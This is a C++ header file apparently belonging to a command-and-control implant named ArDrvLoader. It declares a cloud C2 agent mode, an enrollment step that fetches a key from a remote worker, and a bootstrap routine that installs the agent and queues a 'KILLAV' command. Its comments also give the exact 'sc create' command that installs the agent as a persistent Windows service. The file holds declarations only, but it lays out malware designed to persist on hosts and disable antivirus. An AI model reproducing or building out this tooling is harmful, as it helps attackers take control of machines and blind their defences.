#pragma once #include // Cloud C2 mode. Call as: // ArDrvLoader.exe -cloud [options] [agent] [interval_ms] int RunCloudAgent(int argc, wchar_t** argv); // Windows service entry point. Install with: // sc create ArDrvAgent binPath= "\"C:\path\ArDrvLoader.exe\" -cloud-service --service-name ArDrvAgent" int RunCloudService(int argc, wchar_t** argv); // One-time enrollment: fetches this agent's own key from the worker and stores // it next to the host tracking file. // ArDrvLoader.exe -enroll --url --agent --enroll-secret int RunEnroll(int argc, wchar_t** argv); // Client-side bring-up from a single exe: install, wait for the agent, queue KILLAV. // ArDrvLoader.exe -bootstrap --url --operator-key [--secret ] [--agent ] int RunBootstrap(int argc, wchar_t** argv);